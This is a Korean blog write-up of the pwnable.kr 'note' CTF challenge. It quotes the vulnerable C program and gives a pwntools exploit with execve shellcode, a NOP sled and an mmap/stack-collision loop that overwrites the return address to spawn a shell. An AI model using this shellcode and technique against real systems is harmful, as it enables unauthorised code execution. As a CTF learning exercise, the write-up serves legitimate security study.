Pwnstar

Pwnable.kr note 본문

Pwnable.kr/Toddler's Bottle

Pwnable.kr note

포너블처돌이 2020. 6. 5. 14:17

소스코드 

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/mman.h>
#include <fcntl.h>
#include <errno.h>
#include <sys/types.h>
#include <unistd.h>

#define PAGE_SIZE 4096

void* mmap_s(void* addr, size_t length, int prot, int flags, int fd, off_t offset);
void* mem_arr[257];

void clear_newlines(void){
	int c;
	do{
		c = getchar();
	}while (c != '\n' && c != EOF);
}

void create_note(){
	int i;
	void* ptr;
	for(i=0; i<256; i++){
		if(mem_arr[i] == NULL){
			ptr = mmap_s((void*)NULL, PAGE_SIZE, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0);
			mem_arr[i] = ptr;
			printf("note created. no %d\n [%08x]", i, (int)ptr);	
			return;
		}
	}
	printf("memory sults are fool\n");
	return;
}

void write_note(){
	unsigned int no;	
	printf("note no?\n");
	scanf("%d", &no);	
	clear_newlines();	
	if(no>256){
		printf("index out of range\n");
		return;
	}
	if(mem_arr[no]==NULL){
		printf("empty slut!\n");
		return;
	}
	printf("paste your note (MAX : 4096 byte)\n");
	gets(mem_arr[no]);	
}

void read_note(){
	unsigned int no;
	printf("note no?\n");
	scanf("%d", &no);
	clear_newlines();
	if(no>256){
		printf("index out of range\n");
		return;
	}
	if(mem_arr[no]==NULL){
		printf("empty slut!\n");
		return;
	}
	printf("%s\n", mem_arr[no]);	
}

void delete_note(){
	unsigned int no;
	printf("note no?\n");
	scanf("%d", &no);
	clear_newlines();
	if(no>256){
		printf("index out of range\n");
		return;
	}
	if(mem_arr[no]==NULL){
		printf("already empty slut!\n");
		return;
	}
	munmap(mem_arr[no], PAGE_SIZE);
	mem_arr[no] = NULL;	
}

void select_menu(){
	// menu
	int menu;
	char command[1024];
	
	printf("- Select Menu -\n");
	printf("1. create note\n");
	printf("2. write note\n");
	printf("3. read note\n");
	printf("4. delete note\n");
	printf("5. exit\n");
	scanf("%d", &menu);
	clear_newlines();

	switch(menu){
		case 1:
			create_note();
			break;

		case 2:
			write_note();
			break;

		case 3:
			read_note();
			break;

		case 4:
			delete_note();
			break;

		case 5:
			printf("bye\n");
			return;

		case 0x31337:
			printf("welcome to hacker's secret menu\n");
			printf("i'm sure 1byte overflow will be enough for you to pwn this\n");
			fgets(command, 1025, stdin);
			break;

		default:
			printf("invalid menu\n");
			break;
	}

	select_menu();
}

int main(){
	setvbuf(stdout, 0, _IONBF, 0);
	setvbuf(stdin, 0, _IOLBF, 0);

	printf("welcome to pwnable.kr\n\n");
	sleep(2);
	printf("recently I noticed that in 32bit system with no ASLR,\n");
	printf(" mmap(NULL... gives predictable address\n\n");
	sleep(2);
	printf("I believe this is not secure in terms of software exploit mitigation\n");
	printf("so I fixed this feature and called mmap_s\n\n");
	sleep(2);
	printf("please try out this sample note application to see how mmap_s works\n");
	printf("you will see mmap_s() giving true random address despite no ASLR\n\n");
	sleep(2);
	printf("I think security people will thank me for this :)\n\n");
	sleep(2);

	select_menu();
	return 0;
}

//ptr = mmap_s((void*)NULL, PAGE_SIZE, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0);
// secure mmap
void* mmap_s(void* addr, size_t length, int prot, int flags, int fd, off_t offset){
	
	// security fix: current version of mmap(NULL.. is not giving secure random address
	if(addr == NULL && !(flags & MAP_FIXED) ){
		void* tmp=0;
		int fd = open("/dev/urandom", O_RDONLY);
		if(fd==-1) exit(-1);
		if(read(fd, &addr, 4)!=4) exit(-1);
		close(fd);
		// to avoid heap fragmentation, lets skip malloc area
		addr = (void*)( ((int)addr & 0xFFFFF000) | 0x80000000 );

		while(1){
			// linearly search empty page (maybe this can be improved)
			tmp = mmap(addr, length, prot, flags | MAP_FIXED, fd, offset);
			if(tmp != MAP_FAILED){
				return tmp;
			}
			else{
				// memory already in use!
				addr = (void*)((int)addr + PAGE_SIZE);	// choose adjacent page
			}
		}
	}

	return mmap(addr, length, prot, flags, fd, offset);
}

 

이 문제의 취약점은 스택의 주소가 고정(No ASLR)이라는 점과 create_note 메뉴를 통해서 할당된 주소가 x권한이 존재한다는 점이다.

 

처음 이틀 간 방법을 찾지 못해서 쩔쩔맸었다. 그러다가 create_note 메뉴에서 mmap_s 함숭를 통해서 랜덤하게 heap의 영역을 할당해주는데 할당 횟수에는 256회라는 제한이 있기는 하지만, delete 메뉴를 통해서 할당된 공간을 계속 해제해줄 수도 있다.

 

그리고 이 영역을 계속 할당해주다가 스택의 영역이랑 맞닿을 수도 있지 않을까??

 

그렇다면 처음에 0번에 할당을 해 줄때에 nop sled와 쉘코드를 넣어놓고, 1~255번의 heap 공간을 할당해줬다가 stack과 겹치지 않으면 전부 해제하고 다시 시작하는 방법으로 하면 가능할 것 같았다.

 

그러던 와중에 이상한 점을 하나 발견했는데

create_note를 할 때마다 스택의 주소가 일정 값만큼 감소한다는 것이다.

 

처음 스택의 주소는 0xffffd7fc였는데, create note를 한번 실행하고 나니

 

0xffffcf9c로 변경되었다.

 

create note를 한 번 더 하고서 실행해보니

0xffffc73c로 변경되었다. create note를 할 때마다 0x430씩 스택의 주소가 감소하는 것을 알 수 있었다.

 

이 문제를 풀 당시에는 이유를 알지 못했는데 문제를 풀고 다른 분들은 어떻게 풀었나 라이트업을 찾아보다가 그 이유를 알게 되었다.

 

select_menu를 보면 다른 메뉴들과는 다른 점이 하나 있었다. 보통은 while문을 써서 menu를 반복적으로 호출하게 하는데,

이 함수에서는 재귀적으로 자기 자신을 호출하도록 되어있었다.

 

이렇게 되면 스택을 낭비하게 된다.

 

이제 코드를 짜 보자.

 

우선 처음 create를 해서 그 곳에 쉘코드를 넣을 것이다.

shell = "\x90"*20 + "\x31\xc0\x50\xba\x2e\x2e\x72\x67\x81\xc2\x01\x01\x01\x01\x52\xb9\x2e\x62\x69\x6e\x83\xc1\x01\x51\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"

eip = 0xffffd000

sleep(10)

#get the shellcode address
p.recvuntil("5. exit\n")
p.sendline("1")

p.recvuntil(" [")
shell_addr = int(p.recvuntil("]")[:-1], 16)
log.info("shellcode address = " + hex(shell_addr))

p.recvuntil("5. exit\n")
p.sendline("2")

p.recvuntil("note no?\n")
p.sendline("0")

p.recvuntil("paste your note (MAX : 4096 byte)\n")
p.sendline(shell)

 

 

스택의 주소를 eip = 0xffffd000로 잡아놓았는데 몇번을 실행해봐도 첫 스택의 주소가 0xffffd000 ~ 0xfffff000이었기 때문에 이렇게 잡았다.

 

할당한 곳의 주소를 친절하게 알려주고, 우리는 스택의 주소 또한 정확하지는 않지만 예측이 가능하기 때문에,

 

while(1):
    
    if cnt == 255:
        cnt = 1
        for i in range(1, 256):
            p.recvuntil("5. exit\n")
            p.sendline("4")
            p.recvuntil("note no?\n")
            p.sendline(str(i))
            log.info("note no." + str(i) + " removed")
            
        eip = eip - 0x430*254
        log.info("restart")   

    p.recvuntil("5. exit\n")
    p.sendline("1")
    
    p.recvuntil(' [')
    address = int(p.recvuntil(']')[:-1], 16)

    if eip < address:
        break
        
    cnt += 1
    all_trial  += 1
    eip -= 0x430
    log.info("trial number (" + str(all_trial) + ")  address = " + hex(address) + "   eip = " + hex(eip))

 

이 반복문을 통해서 스택의 주소와 할당된 주소를 비교하여 할당된 주소가 스택의 주소보다 클 경우 조건에 부합하므로 반복문에서 빠져나오도록 해 놓았다.

 

#set ret to shellcode address    
p.recvuntil('5. exit\n')
p.sendline('2')
p.recvuntil('note no?\n')
p.sendline(str(cnt))
p.recvuntil('paste your note (MAX : 4096 byte)\n')
p.sendline(p32(shell_addr) * 1024)

 

반복문을 빠져나온 이후에 정확한 ret 부분을 모르기 때문에 shell code 주소를 최대한으로 채워넣었다.

그리고 5번 메뉴를 통해 ret을 호출해주면 된다.

 

#go to ret
p.recvuntil("5. exit\n")
p.sendline("5")

 

이제 실행해보면

 

꽤 오래 걸리긴 했지만,

 

 

 

 

플래그를 볼 수 있다.

끗!!

'Pwnable.kr > Toddler's Bottle' 카테고리의 다른 글

Pwnable.kr asm  (0) 2020.03.22
Pwnable.kr horcruxes  (0) 2020.03.21
Pwnable.kr blukat  (0) 2020.03.21
Pwnable.kr unlink  (0) 2020.03.20
Pwnable.kr uaf  (0) 2020.03.17
Comments